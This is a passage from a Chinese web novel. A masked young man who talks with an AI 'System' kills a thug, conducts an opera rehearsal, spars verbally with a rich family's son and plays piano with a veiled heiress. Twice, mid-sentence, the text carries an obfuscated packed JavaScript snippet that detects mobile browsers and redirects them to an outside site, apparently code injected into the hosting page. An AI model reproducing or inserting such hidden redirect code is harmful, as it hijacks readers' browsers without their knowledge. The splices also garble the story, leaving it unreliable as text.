今天是他赌债的最后期限，所以挑在今天下手。 “晦气的！——” 钻入阴暗僻静的工厂废楼，他咒骂着踢飞破凳，苦苦盘算该如何搞钱。 但刚才趁乱在一家店铺偷来点硬币，也算是小有收获，他上楼啐了口痰，席地而坐清点。 只有他一人在的工厂，门突然发出一声咚响。 男人警觉直起脖子。 四周寂然，仿佛刚才的异状就只是幻觉。然而当他再低下头，声音又从下方铁架阶梯传来。 “谁啊？” “别给我躲着，这是我的地盘，再不出去，小心我给你好看。” 说着已抽出匕首，他趴在栏杆前探头往下。 铿锵—— 汗毛竖起的一瞬，头皮如炸开发麻，他终于串起了之前种种，并描绘出一条路径。 有人进了工厂。 爬上报废的金属架。 正沿着他不敢走的摇晃破铁网过道，朝他走来。 黑暗给人以最深的恐惧，男人一双布满血丝的眼紧盯前方，呼吸急促，又迫使自己压抑。 “……” 气流呼在而后，听不清的吐字令他心脏将要跳出胸膛，男人于惊恐中转身，看到他此生以来见过的，最为骇然的东西。 “你的无礼，真令我作呕。” 面对愕然的男人，择明不再有笑容，声音冷漠，无以复加。 手握楼下被遗弃的拐杖，他抬手一敲，精准击断栏杆生锈的地方。 陡然失去支撑，身体后仰坠落，男人陷入永远的黑暗前唯一记得的，是那半面扭曲如魔鬼之王，半面无情如审判天者的荒诞面庞。 11. 打破的声音是pop！-11 尸体横在肮脏泥泞的黑地中心，他一身麻衣许久未换，难辨原本颜色，但如今有脑后晕开的血红，慢慢浸透，逐步晕染。 好似收尸人为死者掩上白布，择明手腕轻抬，丢出对方遗落的帽子。 破布帽精准降落，遮住男人死后的狰狞面容。 没有追悼词，没有祝福语，择明手拄拐杖立在尸体前，下颌微扬目光下撇，双唇紧抿。像是从教堂石雕群中走来的角落殉道者，向双眼被蒙的俗世投以苦闷的悲悯，暗怒的傲视， 关于他的表现，系统正确总结。 【系统Z：您现在很愤怒，主人】 “……是的，Z。” 择明这才呼气，垂头合眼，仍旧为对方默哀数秒。 这座工厂报废多年无人问津，是最好的藏身处。以男人蛮不讲理的恶劣作风，附近流浪者早被恫吓驱逐，不敢靠近。 他将会在这腐烂归尘，化作白骨，静悄悄消失于世。也算是他一生中为数不多的‘善举’。 结束后按原路离开，择明又得系统一问。 【系统Z：这是因为伊凡·贝内特么】 择明用拐杖敲打石板地，伴着脚步嘚嘚声清脆。 “并不完全是。” “我一直对人们，抱有种浅薄看法。” “在茹毛饮血的时代，被繁衍生存之欲支配。我们的残忍自私是由祖先一脉相承的邪恶遗产，尽管后世又被赠予动人情感，丰富思维，可自然界早已立下诅咒，让我们永生无法丢弃。” “所以我时常会想，若一个人他穿着得体，脑中盛满渊博知识，但没有颗能同野蛮诅咒抗争，尊重彼此灵魂的心，他又与野物走兽有何差异。” 人于深巷出口转弯，由暗处走向光亮，择明将旧拐杖放于柴堆，不禁沉声喟叹。 “低级而失礼的破坏动因，粗制滥造，实在太不美丽。” 发觉系统沉默过久，择明眼睛一眨，微笑和面具共同复位。 “更何况，伊凡先生虽然有些难相处，但却是面冷心热，刀子嘴豆腐心的体面人，一位好医者。失去他这可救治天下的手，着实是世间之大损失。” 【系统Z：是的，主人，您说得对】 知道这是对方又不明白如何回应，择明哑然，加快脚步。 回到鱼市时，伊凡已在别人帮助下处理完伤口，正坐在长椅上出神。 身前光亮被择明遮挡，视野蓦地昏暗，伊凡终于抬起头。 “您还好么，伊凡先生。” 伊凡先是抬臂，秀了一番他被包扎两次的手，随即扯动嘴角，“马马虎虎。但和当初的你比起来，幸运太多。” 事发时鲜血淋漓简直吓人，可刀并未伤及他神经骨骼。 但仅是肌肤破开的那一瞬，他整个人就如同被飓风席卷吞噬，惊恐到忘记疼痛。心有余悸深呼吸伊凡他又恍惚道。 “还有，多谢你无可挑剔的止血。” 他全身除了右手衣袖，没沾染半点血渍。不过青年所穿的单衣缺了一角，看起来怪滑稽的。 伊凡：“你还要去剧院？” 在有心怀不轨之徒跟踪袭击，危机潜伏情况下。 而说到这，伊凡难免犹疑不决，最后试探问道。 “你刚才去……有追到什么人么？那家伙应该是专程冲着你来的。” 择明整理衣角，好让自己看起来不像刚被打劫的落魄人。不过怎么都不称心。 他漫不经心一应。 “您不必担心，伊凡先生。我能应付好一切的。” 闻言伊凡不再多问，只固执带上对方走向最近的成衣店铺。 店长是位话多讨人喜的小矮个妇女，伊凡推门进来时，她正对着大腹便便的老顾客夸赞，推荐着当季新品。 “欢迎观临，两位俊俏先生有什么需要么，量身定做，代买新品，凯瑟琳的小店应有尽有。” 她笑容热情迎上来，目光于择明面具外的嘴唇下颌几次停留，连声惊叹。 “噢！看来我的小店将要有大好事发生，敢问您是哪国来微服私访的王子？您的小小面具根本挡不住您四散的魅力了。” 因她语调夸张得可爱，择明忍俊不禁，转头朝伊凡打趣。 “这个问题，是不是该由我尊敬的骑士先生作答？鉴于您刚才英勇相护的行径，确实不愧骑士之称。” 伊凡深皱眉头，急忙打断这繁琐的客套，“行了，我们赶时间。你给他找身正式点的衣服，钱我付，不够就先记我账上。你报给她。” 后半句他对着择明，说完转身推门而出，用力太大使得铃声猛响。 择明啧啧称奇：“气鼓鼓小松鼠？” 凯瑟琳点头接话：“噢，年轻男人。阴晴不定的小怪物们，您的朋友或许该找个妻子，灭灭他的脾气了。” 择明点头以表赞同。 谈话趣味相投，二人不由得相视一笑，肩并肩往店铺深处走，穿梭琳琅满目的商品。 店铺橱窗隔绝外界喧闹，此刻伊凡在街道上面对车水马龙，独自听着耳边笛鸣，人声嘈杂。 手受伤后他成了独臂侠，行事处处不便。 然而等待却又如此漫长乏味，使烟瘾找上了他。 男人按捺不住摸出旧铁盒，取支烟卷叼在嘴里。可待烟嘴濡|湿，他两只手仍迟迟点不燃火，因为右臂微微一动就牵动伤口，刺痛难忍，更烦躁气急。 叮铃。 先是声音致使下意识转头，后是黑白礼服冲撞视线，停止思考。 阳光下，银面具莹莹泛光，与对襟附着的金丝花纹相互辉映。 服饰虽长，但胜在材质单薄清爽，即便是炎炎夏日也觉得清凉。它做工精妙，整体更松紧有致，完美避开黑色显臃肿的缺陷。 择明正低头，将镂花方巾折成花状塞入胸前口袋。 徐徐一抬眼，身姿挺拔，蓝眸沉静醉人心扉。 店主凯瑟琳紧随其后，打量着由衷夸赞。 “现在真是一位小王子了。这位骑士先生，您满意了吗？” 伊凡·贝内特嘴微张，含在口中那点烟嘴已彻底湿润，底部融化，甘草味漫向舌根。此为原因，让他无端吞咽空气，忘记言语。 但或许，还有数秒前发生的惊鸿一瞥。 毕竟在他看来随口胡诌的谄媚店家，有句话确实在理。 面具与面具后半毁的面容，根本掩不住，更毁不掉某些人由内到外透露的风雅。 那是已在如今上流者中失传的真正尊贵，是奶油蛋糕顶端殷红可口的樱桃点缀。 精致，却又容许任何人喜爱，不分贵贱贫富。 随两次深呼吸吐掉烟卷，伊凡以往紧绷的脸上浮现稀世罕见的微笑。 “或许我该改一次口，称呼您……少爷？” “那我是不是也改称您，骑士先生？” 伊凡招手示意对方一起出发，没再不满反驳或闷闷冒气。 而从他之后一路的健谈能看得出，他心情很好。 天空星辰眨眼，二人抵达安士白剧院时夜色已至，远远便见汉斯同助理站在大门阶梯上。 用手扇风汉斯注意到来者，迫不及待奔来。 “莱特阁下！您可真让我好等——” 经理因震惊收声止步，却不是因为正装出现的择明，而是他身边沉默不语的男人。 片刻后汉斯又爆发出一声。 “伊凡先生？！您怎么也来了？还受了伤！？” 紧迫追问令伊凡面露疲惫，他答复平淡。 “我跟他认识，一起过来。你们不是要排演么，动作快点。一会儿我还要让司机来接我们。” 漠然眼神与这句话打消汉斯的追问念头，只把注意力放在今夜的莱特·莱恩身上，领路进表演厅时，他一张嘴就没停过。 “我找来了我最信任的乐团，虽然还有些生疏，但您放心，您的曲目百分之百完美，而我绝对要将它发挥到百分之两百。” “还有，我让那几个歌者把其他排演都推掉了，今后只在这练习您《安德尔》，不过有几处情绪转折，他们表示有争议，或许您等会儿能提点一下他们。” “对，我忘了说布景。现在唯一的问题，就是您台本上要求的鲜花……” 卓越医生伊凡在这显然成了门外汉，本就话少，现在更插不进嘴，他走在择明身旁活像个哑巴。 什么间奏，什么独白，什么高音低音，他一概不知。 但有一点他清楚，这所安士白剧院是顶级的。 会场大堂犹如圣殿金碧辉煌，拱顶绘有壁画，描述天堂盛景，那只花形屋顶就在巨型的璀璨吊灯之上，静静绽放。 在这，百人乐队整装待发，歌者都身穿戏服化好浓妆。 歌厅自带音量放大功能，这也显得所有交谈声归于寂静的一瞬，尤为奇妙。 人们屏息敛声，面露好奇惊艳，无数道目光不约而同汇聚在一处——《安德尔》的作者，莱特·莱恩身上。 全场除了伊凡人人都是行家，而他们都知道，一个《安德尔》，一个莱特·莱恩，于这声乐界而言，到底是怎样的惊天巨浪。 老指挥年逾古稀，头发花白，按捺不住激动与择明握手，上下摇晃不肯放开。 “先生！我终于见到您了！请原谅我，我实在太激动。当我看到乐章那一天开始，我就急切盼望着能与您相见。” 声音包含崇高敬意，他仿佛见到偶像的小孩，几次按压胸口喘着气。 “这是弗兰克，我们的御用指挥。我的老朋友。”汉斯及时介绍。 就指挥这职业来说，弗兰克算是超龄老工。如今每指挥一场歌剧下来，往往能将他精力掏空，让他颤颤巍巍站不起身。 他大汗淋漓刚结束一次排演，脚步已有些虚浮。 其实他打算好要在近期退休，可看到《安德尔》这惊艳绝伦的作品，任谁都难以拒绝。 说着话眼前突然发黑，弗兰克惊慌暗道不好，但被一双手不着痕迹扶住。 “我想我们可以去前面，边坐着看谱边商量哪里应该修改，弗兰克先生。实不相瞒，赶了半天路，我不争气的小腿在投降了。” 为年轻人的救场感恩，老者眼中欣赏更深。 当他们坐下再交谈几句后，弗兰克愈发诧异惊喜，激动起身。 手势，节拍，不为外人熟知的技巧诀窍，当他在与这年轻作曲家交谈时，顺滑得像与同行为伍，甚至能从中受益匪浅。 “您也懂指挥？不，我指的是、您也会吗？” 择明小作停顿，点点头，“只学过微不足道的皮毛，还没实践过，刚才发言让您见笑了。” 【系统Z：真的吗，主人】 忽被质疑，择明嘴角微不可见上扬。 【我从没试过是真的】 弗兰克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592337|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搓手起身，对身着礼服的莱特目不转睛，最后如灵光乍现一般大喊。 “汉斯！汉斯老头你快过来！” 经理在台上，正替饰演死亡天使的歌者调整道具翅膀，突然被吼还没反应。直到老指挥赶至舞台边缘招手。 弗兰克那火急火燎的架势，恨不得直接抬脚翻上来。 “汉斯，我想请示，让莱特阁下替我们排演一次，实在不行序曲就够了。如果可以，如果他愿意，我这指挥棒全权交给他。” “什么？” 汉斯不解又惊讶，探头望向莱特，发现对方似乎也不知道发生了什么。 “您知道，指挥于乐曲，尤其是歌剧而言，是至关重要的一环。我虽然在这台上站的时间最长，可我知道我的平庸逊色，难以参透超出我极限的作品。这我怎么能带动情绪呢？” 话中有理，也听出老友掩饰不住的期待，但暴躁汉斯仍有着冷静一面，慎重再问。 “但你确定，莱特阁下能接替你的位置？” “你这是在跟我说混账废话，秃头老东西。” 彬彬有礼老指挥这句一出，汉斯心知肚明了。 但他下台时还是不服气回嘴。 “听我说混账废话，那你不就是老混账？腿骨子打架老东西。” 他嗓门比较大，不止舞台周围的人听见了，连第一排席位的伊凡也不禁揉捏眉心，为他无奈。 银箍桃木指挥棒到手，简单了解乐团分组，择明在即将走上指挥位时，手臂被人一握制止。 伊凡不知什么时候下来的，特地将他拽向僻静角落。 “以你的手，你想上台指挥？还是说你想用左手？” 择明摇头，“改换左手这太勉强大家了。毕竟位置已定，小提琴手在左，那么我指示旋律节拍也得在左。不执指挥棒的。” 伊凡似是心累一叹，“我不是说这个，我指的是你——” 左手食指光洁修长，轻轻抵在他唇前。并未越界贴着，但成功将他劝说休止。 “我能应付这一切，伊凡。” 单眨眼俏皮，笑意犹如狐狸小小诱引，跃跃欲试。 等男人再回过神，那道身影已站在奏乐团高位，两臂抬起，好似拥抱前方。 应经理汉斯要求极高的排演，连灯光烟雾也要照常进行，与正演无异。 头顶昏暗，全场漆黑的一瞬，人难免惶恐无措。伊凡心不在焉，盯着洒有微光的指挥台，牢牢跟随那有力挥动的起手式。 管风琴如雷炸开首音，弦乐紧追其后，竞相前行。 仿佛被末世洪流吞噬，霎那间失去自我，荡然无存。 就只能听见那低沉阴森的轰响，狂狷放浪的转音，一层层迭起，一节节攀升，托起人那渺小轻盈的灵魂，朝向不可触碰之天际。 医学上，生物以细胞为单位，那场中受人牵引，飞舞而成的旋律，便可切分成无数音符。 无论人是否承受得住，它们都不管不顾，狠心进攻听者全身乃至发丝，卑鄙地在残酷碾压中穿插温软留情，起起落落，直至对方缴械投降，彻底臣服。 磅礴之乐声声涌来，背对观众席的指挥家，那个掀起海浪，卷动风潮的魔鬼，他的双手飞快翻飞却仍叫人能看清，力道于克制疯狂间交错，使受制者不敢松懈，更无法松懈。 呼吸第一次像鼓风机发出难听声音，伊凡·贝内特后知后觉，原来自己从第一个音符响起就在屏息。 在他的角落，他能看到挥棒者指尖掠过光束，弹奏空中沉浮的颗粒，朱唇嘴角上扬，与那支操纵全场的小小木棒有着如出一辙的诡谲魔力。 莱特·莱恩。 如今再念这一名字，伊凡难压与旋律相似的激荡。 确实，这人是名不可多得的全能型天才。 他能是画家，医者，诗人，作曲家，或包括最初的，也已无缘的钢琴家。 但就像依赖源自本能的直觉，伊凡无比确信，眼前指挥奏乐的人，有着最为合适的致命头衔。 一个天生指挥家。 一个能在任何地方，任何时刻，都能肆意搅动掌控一切的操纵家。 毫无间隙的演奏早已超过序曲部分，第一幕至第七幕的时光，从未如此短暂。当咏叹调旋律渐弱，结束在指挥者收拍停止的动作时，所有人如梦初醒，久久无法回归现实。 偌大千人剧院没有观众，更无掌声，但座位上瘫软无力，面红耳赤的汉斯，已给出最真实的反应。 他用双手按压胸前，感受心脏剧烈跳动，像濒死之人声若蚊蝇。 “我的上天啊，我的天啊……” 这绝对会是场空前绝后的极宴。 没有人不会更赞同这点。 包括在隐秘看台俯瞰，双手紧握扶干的迟到访客。 男人年龄与霍昭龙相近，暗红外套别着昂贵胸针，袖口镶有碎钻，熠熠生辉。头发一丝不苟梳拢，前额饱满，鼻挺如峰，与霍昭龙的单纯威严不同，他锋芒内敛，湖蓝双眼古井无波，更贴切古国大帝的风范。 但像他这样的人，却带着一枚外壳暗淡的项链吊坠，此刻紧紧攥着，轻轻摩挲。 “威廉。” 他身后的年轻女子不似侍，更不像情人伴侣，走来手肘轻碰他，以赞许又轻快调侃口吻提醒。 “我想，这应该就是老汉斯连发十几条电报，催我们快马加鞭来看的‘天赐之礼’了。” 12. 打破的声音是pop！-12 如同晚宴结束后依依不舍的热情告别，安士白剧院大门前，正上演着热闹欢送一幕。 男高音女高音，舞蹈领班总指挥，整只队伍人数众多，好在具备良好素养而不显得拥挤吵闹。 位于中心被包围，择明与众人一一握手相谈，解答疑惑，指点迷津。他这场排演持续到深夜，可他们仍因酣畅而精神饱满。 应接不暇，忙碌成辛劳鸟爸爸。 自知无法参与话题，伊凡站在外围，边观望着边这么想。熟悉的老爷车正从剧院左边驶来，他这才抬步踏入那热络圈里。 “车到了，可以走了。” 听见提醒，择明点头以示回应，总算能真正告别。 车在城中行驶缓慢，伊亚郡街道路灯通明，照亮整辆车内部。 等彻底看不见那座宏伟的湖畔安士白，伊凡目视前方，却朝身边伸手摊开掌心。 “拿过来给我看看。” 正靠窗回味排演，冷不防被一问，择明不禁心生困惑。 “抱歉，伊凡先生，您的意思是……” “手。” 不耐烦的急促掩饰着不自在，伊凡又道。 “如果你的右手能说话，他现在一定已经把你当成杀父仇人了。”越说越来了医生怒其不争的脾气，他转头冷眼一扫，“你以为你什么都能藏口袋？” 择明哭笑不得，将微微颤动的右手抽出衣兜。 三小时排演，中间还有片段重复练习，就算后来他没再充当指挥，右手仍已不堪重负。他指节弯曲，僵硬着掰不直。是肌肉痉挛不受控的表现。 抓握一瞬，伊凡不禁皱眉。 这手冰冷得像尸体的。 与强硬催促的口吻相反，医师伊凡的按摩极其舒缓，耐心将一根根手指包括小臂从麻木酸痛中解救。不过他如今也手臂带伤，动作不便使得时间延长数倍。 治疗在双方的沉默中圆满结束，此时行程也以剩下三分之一。 “忍也是你能忍。忍到哪天全废了，你是不是就心满意足了？”伊凡的结束语照旧不留情面。 择明活动着他复活的右手，诚恳道歉，“是我的过错，我还没告诉他们关于我手的事，更不想在那时候破坏大家的兴致。” 对方瞥来一眼。 “应该是，你的兴致吧。” 择明微笑不置可否。只是当车驶向冷清郊野，四周昏暗唯见半轮明月时，发出一声餍足感叹。 “这是一个令人愉快的夜晚。” 由于白天发生的袭击，伊凡让老爷车特地将他载到庄园正门。这位好医师不放心，询问他是否要暂停几天课程。当然，之后是要补上来的。 “别忘了，还有这次问诊费。” 伊凡言辞凿凿，不容反驳。 “如果你还有下次明知故犯，我得考虑给你价格翻倍了。希望你记住。” 时至今日，择明已熟悉对方的说话路数。 于是语气愈发真诚，开口依旧打趣。 “好的，您的话我铭记于心，伊凡先生。我以我剩下的左手发誓，绝不会让他们成为难兄难弟，最后只留我孤寡一人，用脚吃饭写字。” 似是拿他这态度没辙，男人用力转过脸升起车窗，一声不吭令车加速驶离。 目送对方远去，择明摘帽挥手，甚是欢乐。 【系统Z：主人，您这样我很担忧您下个月拿不到薪水，买不起小马驹了】 择明：“不用担心，Z。和慷慨的伊凡先生不一样，我其实对放债收利略懂，不用苦等这一份工资的。” 【系统Z：这个略懂，和您的指挥一样的‘略懂’么】 踩着小径鹅卵石，择明双手背于身后，步伐轻逸，像伴着小步舞曲蹦跳。 “我就当你这是在夸赞我了，Z。” 【系统Z：是的，这是称赞】 舞步止于花房数米外，择明在小径上站定。 屋内透出灯光，但不及夜灯那般闪耀透亮，反而明明灭灭，光影摇曳。他放轻动作推开半掩的门，对出现在眼前的人毫不意外。 “晚上好，三少爷。” 霍子骥双手插兜，倚在桌边出神。他思考得如此忘我，以至于择明进屋说话才意识到有人。 佩戴面具的青年衣装不同平时，像刚参加一场化妆舞会，凭借出挑风度卓越舞姿，吸引全场受尽青睐。 小愣片刻后再转头，霍子骥已调整好表情。 他又成为那个放浪不羁，穷奢极欲的霍家三少爷，戏谑开口。 “我原以为，这个家只有我懂在外面找乐子，没想到，还有你这厉害角色。”他过侧身，随意乱动桌面物件，拨弄着钢笔旋转。 “你说，如果我那瞎操心的老父亲知道你现在天天跟人往外面跑，他会怎么想？” “霍先生，或许终于不会再对我失望。毕竟我过去一直没接受他的鼓舞，多去外面体会生活，与人交友增加阅历。就像他一样，成为值得尊敬的人。” 对这回答不齿，霍子骥连连摇头嗤笑，“劝你别把他太捧上天。这老头子能有你说得那么好，我霍子骥这后半生就不碰酒，不上|床，也不吃肉。” 择明不禁向系统感叹。 【这毒誓，可比我刚才的那个令人信服多了】 “刚才找不到你的人，我跟我的呆木头二哥可是被当出气筒，骂得狗血淋头。” 想起了什么，霍子骥腔调忽然古怪，揶揄道，“我那二哥这回竟敢跟他顶嘴，被指着鼻子叱喝，直接摔门揍人。那样子，别提多罕见了。老头还问我，是不是我给他喂迷|药。” “顺便一提，我妈她还专程来劝我，要我多关照关照你。好让老头子别被气坏。你觉得，我该怎么‘照顾’你比较好？” 但没人比霍子骥更清楚。与其说是关照，不如说是牢牢监视并阻挠霍昭龙加深注意，方便他们母子行动。 在家主之位没真正归于他前，任何不利他的因素必须铲除。这是一直以来他在做，且胜券在握的。 直到那日雨夜。 目光不离倾听者脸庞，霍子骥试图找到可窥探内心的表情变动。 然而这张脸上除‘担忧’外，再无其余成分。 “霍先生这次受伤刚好在霍骊小姐生日宴前，他是最不希望出事故，影响庆贺的人。唉……只是先生这次也有不妥之处，怎么能拿二少爷撒气。” “别忘了还有我。”霍子骥脱口而出。 “哦，是的。”择明顺着点头，“还有您。” 忽然间心生烦躁，霍子骥挺身不再挨着桌椅。 纷乱思绪自这莱特·莱恩进门起就无法平定，昨天一夜过后，他就如迷失浓雾，找不出方向，定不下目标。甚至今天有酒友轮番上阵，相约他去会所畅玩，他都兴趣缺缺拒绝。 这才没躲过病床上的霍大家主传召，倒霉得去当挨骂板。 无言相视迟迟等不见反应，择明饶过人脱去外套。 当他拿起剪刀准备修剪玫瑰花枝时，霍子骥才终于有了变化——人往后一退，下意识警惕，全身每块肌肉蓄势待发，俨然雄狮守卫阵地。 “放轻松，三少爷。我并没有随时随地带刀防身或伤人的爱好，这不太礼貌。”择明说着将小剪刀展示。 而听他意有所指，霍子骥反笑得开怀。 “哈！怎么，那我得等着别人给我抹脖子么？” 如此反问，他也松懈下来，懒洋洋插兜走到人身侧。 玫瑰暗香如甜酒，未见花开先闻其味，被择明托起的花枝绿叶繁茂，几乎要将躲猫猫的花苞完全吞没。 有条不紊的修剪声里，霍子骥忽听他一问。 “您知道，培育花苗为什么需要修剪么。” 为什么？ 尽管自己不种花，霍子骥仍能说出大概。 无非是剪去多余枝叶，好让养分供给花部，避免徒劳耗养使之健壮成长。 回答后的他，被那双难以看穿情绪的眼睛望住。 “还有呢？” 浑然不知自己正被带着走，霍子骥抖着腿绞尽脑汁，却只能想到吃喝玩乐这些完全无关的地方。他啧嘴两手举了举，选择投降。 “我想不出来了，莱特大花匠。” 默认下大花匠名号，择明伸长手，像牵起谁的手拉过最里面一株。 “剪去病弱枯枝保证存活，更多的是表面用意。这些花，这些神奇且尤为美丽，又无私为人所用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592338|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物，他们是活的。” 霍子骥一怔，随即不可思议嘲笑，“活？当然是活的。这谁不知道。” “既是活的，就不可避免地拥有逃亡渴求。他们扎根在泥土地里，栖息天空之下，不说话，不能动。” “但是您看啊，若哪时条件完满，它的根系生长将能比天更无边无际，没有谁能够再阻止它攫取养分甚至是它曾经的饲养者。” “它的顶叶也会快于飞鸟，最先抵达人们的神往之地……” 犹如天方夜谭的说辞，却因朗诵般抑扬顿挫的声调使人着迷，每一个字轻声念出，像雨点轻叩窗扉，滑下道道蜿蜒印记。 或许没人会特地记下自己所见过的每滴雨。 但当那滴答淅沥声起，记忆便擅自牵出逐渐清晰的形体。 这时霍子骥才突然发觉，原来因为一个人而记下无数细节，是那么容易的事。 那天他身边的人就是这样站在这。 雨水从紧贴脸颊的发丝淌下，掠过微笑的嘴角，随着‘秘密’一词滴落，却不是落在地上，而是涟漪微荡的心底。 咔擦。 最后一刀修剪收尾，择明转过头，朝不知缘由发怔的霍子骥，结束最后一句。 “让花永远呆在花盆的最好办法，就是用修剪约束它。让金鱼永远长不大的最佳手段，就是只用那只小小鱼缸盛装欺骗它。您觉得呢？” 别过脸抓弄柔顺金发，霍子骥深知他不该在这时一言不发。但难压诡异的心脏冲撞，他除了沉默，别无他选。 “多谢霍夫人和少爷您，我并不需要您费心照顾。但如果，您能保持好这个良好习惯，守好我们俩的秘密过来听讲，我会很高兴。” ——你必须给我们盯牢这个马夫儿子 ——你可以在外面疯，但你要是不想前功尽弃就按我说的做 ——不要隐瞒我任何事，子骥 ——我是为了你好，为了我们好 ——乖，听话，按妈妈说的做 …… 不和谐音源自从小到大，不知不觉填塞脑海的句句命令。源于同一个人，是他的母亲。 笑声起初被压制着，可随双肩抖动幅度增强，霍子骥低沉放肆的大笑充斥整座花房。他像疯子发了狂，弯腰捧腹笑够，还要拼命深吸气。 “三少爷。” 再被呼唤，霍子骥直起身体。 “说出来你或许不信，这可是我第一个跟别人共守的‘秘密’。” “而我，感觉不错。” 燃着火的双眼，似乎从未像此刻明亮过。与往昔浑浊深厚的欲色蒙雾相异，是更为纯粹专一的焰心。 “我刚好有点上瘾。不如我俩再多造几个秘密，譬如说，怎么把某人的生日宴搞得乌烟瘴气，群魔乱舞？” 对于其中的刻意玩笑，择明目光谴责，摇头纠正。 “三少爷，您难道不觉得那样对待淑女，实在有失风度礼节？” 突然被认真责备，霍子骥不禁一噎，摸摸鼻子。 “我随便说说，你还真信了……行了，我现在没空跟你这大花匠当学生，我还有好几场派对等着我，失陪喽。” 说罢头也不回离开，霍子骥的身影晃悠出花房，那扇金属门被恰到好处的力道关上。 【系统Z：或许您还有一项‘略懂皮毛’的技能没告诉我，主人】 择明正擦拭着剪刀前刃，颇感兴趣追问，“哦？你觉得是什么，Z。” 【系统Z：您一定很擅长驯养马驹】 择明并未答复。 不是因为不想，而是为他耳朵捕捉到的声音。 他的花房虽然离主宅远，但与某间琴房只隔着半座花园迷宫。 在这万籁俱寂的夜，琴音如流水涔涔，如夜莺婉转，拥有无与伦比的穿透力。对乐声敏感的人，无法抗拒它的吸引。 手提煤油灯循着琴声前进，这是择明第三次推开这间专程为他准备的琴房大门。 无灯的厅堂，三角琴静立原位，背对他的人正忘我弹奏，一袭黑色长裙，头顶黑纱帽，仿佛刚从一场葬礼回来。 择明等到曲声停歇，人影站起，才温声唤出称呼。 “霍骊小姐。” 13. 打破的声音是pop！-13 纱裙未带裙撑，圆帽垂落面纱，女人从头到脚已达参加葬礼的最高标准。黑色不愧为深邃厚重的颜色，让被誉为‘女神’的霍骊透出恍若亡灵的阴森气。 择明扬手，将煤油灯立于门旁壁橱，只身快步上前。 若为霍家庄园全员划分礼仪等级，那以舞姿般动作优雅绕过钢琴的霍骊，必定榜上有名，且位列前茅。 人由动到静，她亦从幽怨静止的漆黑魅影，变成真实存在的深羽天鹅。长袖衣裙款式保守，甚至能说老气，但因她一段白皙秀颀的玉颈，使画面赏心悦目。 仅剩两步，择明率先欠身，标准十五度鞠躬。 然而出乎他意料，霍骊主动朝前递来右手。 女人戴着绸缎手套，雪白布料绣有浅金花纹。它们与面纱起到同样的遮掩作用，将修长柔美的十指藏起，徒增遗憾。 择明没有迟疑，再度垂手立正。 钢琴边远离光源，几乎看不清黑纱后的真容，更别提辨别霍骊表情。可凭感知会意，他屈膝半跪，经人默许捧起那只右手。 他双唇微闭，俯首亲吻其指背，但留有恰当空隙。 霍骊在他直起身时开口，说出第一句话。 “我还以为，你是会跑过来跟我握手的。毕竟你刚才的样子，像极了我曾经的老朋友，路易斯。” 轻声细语犹如午夜风铃微晃，不知是有意压着嗓子，还是因身患疾病，她吐字听起来有些虚弱。但毫无疑问，是女性声线。 而她口中的路易斯，是曾经的‘庄园最佳保镖’——一只威风凛凛，不服管教的杜宾犬。 两岁正是杜宾犬桀骜不驯爱闹腾的年纪，它由霍昭龙的生意伙伴所赠，运到庄园，结果意外逃出笼子。 当时，庄园共出动上下数十名莽汉男工，个个年轻力壮，魁梧勇猛却拿他没辙。 抓不到，围不住，用食物引诱它不为所动，它聪明得像个活泼机敏的少年，能轻易识破所有陷阱，肆意游荡园地。 可后来误打误撞闯进楼中，它奇迹般地被霍骊驯服，成为她专属的宠物。 据传闻，路易斯拥有探测器般敏锐的感知，日夜守在霍骊床边。一旦她有何细微的发病征兆，路易斯都第一时间冲出房间叫唤。 有路易斯在，霍骊身边都不需要安排医生，甚至连病情也好转不少。 只可惜仅仅两个半月，路易斯就被仆人发现暴毙在楼道，被打得遍体鳞伤。 择明抽离思绪，语气稍快揭示着内心拘谨。 “在出于敬意的礼数上，我不想冒犯怠慢您。但容我真诚坦言，作为您忠诚热情的崇拜者，若没有人类的理智束缚，我的狂喜或许真会让我对您摇尾乞怜。” 霍骊掩嘴失笑，婉转似百灵啼鸣。 她没有继续展开话题的意思，转身面向钢琴。 指尖在低音区轻敲连音，沉重而压抑。 仿佛是一副思维在两具躯体运作，彼此间无需言语，择明双手搭上琴键，不假思索接拍合奏。 相同的旋律，他有意升调循环，柔板改为快板，赋予曲声明媚。他与霍骊共奏，两种琴音如明暗双线交错，冰火试探缠绕，迸发出奇异迷幻的间奏。 当二人双双停止，择明似受触动，感慨追忆道。 “浪漫盛夏夜。这是我与您第一次共同弹奏的曲子。” 只不过那时‘莱特’依然是莱特，而他们一个在主楼顶层，一个在酒宴大厅。 “是的。” 霍骊点头应声，马不停蹄开始下一曲。 曲目同样被她临时改动，有的本身是四手联弹，有的仅是入门练习曲，她像好奇顽皮的孩童，孜孜不倦又随心所欲。后来干脆无缝切换乐谱，一段滑音紧接着跳转到次首。 当下有句话对她很贴切。 她一个人，竟弹出百人汇集钢琴沙龙的情形，与自己切磋交流，向自己炫耀攀比。 但真正难能可贵的，应该是她默默奉陪的配合者。 择明右手早因长时间指挥出现震颤后遗症，如今强忍手腕酸麻，他仍伴奏得无可挑剔。 无奈能力毅力再强，他依旧难敌血肉之躯朝疼痛投降。 一曲《蓝勿忘我》到末尾段，择明右手抽搐弯曲，指腹偏移琴键。 